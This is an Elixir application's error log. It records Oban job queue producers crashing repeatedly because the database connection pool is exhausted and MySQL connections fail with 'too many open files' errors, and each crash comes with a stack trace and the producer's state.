    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-06 00:50:18.239340Z], limit: 10, uuid: "8794e8e0-c23b-4637-9685-392284cdf90c", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:50:18.239345Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.225300>, refresh_timer: #Reference<0.2525715032.1121189889.225292>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:50:30.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 866ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-06 00:50:18.239222Z], limit: 5, uuid: "5a300d5b-9f09-4d09-aa0c-a9aaf7770748", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:50:18.239227Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.225304>, refresh_timer: #Reference<0.2525715032.1068498948.82242>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:50:30.356000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:50:31.370000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:50:31.532000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:50:32.064000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.584.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:50:32.361000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:50:33.894000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:50:35.781000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.587.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:50:41.024000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:50:42.218000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:50:43.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 2065ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-06 00:50:30.241726Z], limit: 10, uuid: "7facaba8-e014-437a-bf15-92e918e3865e", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:50:30.241731Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.82439>, refresh_timer: #Reference<0.2525715032.1068498948.82431>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:50:43.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 2045ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-06 00:50:30.241518Z], limit: 20, uuid: "7e6567af-8d52-447a-a587-a7a77a1f56e9", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:50:30.241523Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.225609>, refresh_timer: #Reference<0.2525715032.1121189889.225599>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:50:43.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1895ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-06 00:50:30.241353Z], limit: 5, uuid: "d022c61d-56a8-4e5d-9ce0-be5703bde5e1", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:50:30.241359Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.225610>, refresh_timer: #Reference<0.2525715032.1077673987.57741>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:50:43.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1845ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-06 00:50:30.241220Z], limit: 3, uuid: "25ac072a-c815-4d07-8428-5dec3ab86c19", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:50:30.241227Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.82441>, refresh_timer: #Reference<0.2525715032.1121189889.225591>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:50:43.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 2063ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-06 00:50:30.241818Z], limit: 50, uuid: "d06b798b-6f9e-47f8-82de-dbd4cbbd1c48", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:50:30.241823Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.82442>, refresh_timer: #Reference<0.2525715032.1077673987.57756>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:50:43.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1805ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-06 00:50:30.241593Z], limit: 5, uuid: "f00aa77f-06be-4414-a1d3-b25959313422", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:50:30.241599Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.82440>, refresh_timer: #Reference<0.2525715032.1068498948.82430>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:50:46.457000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.584.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:50:47.697000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:50:50.909000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:50:52.082000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:50:53.134000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:50:53.850000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.587.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:50:54.145000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:50:54.283000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:50:55.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1029ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
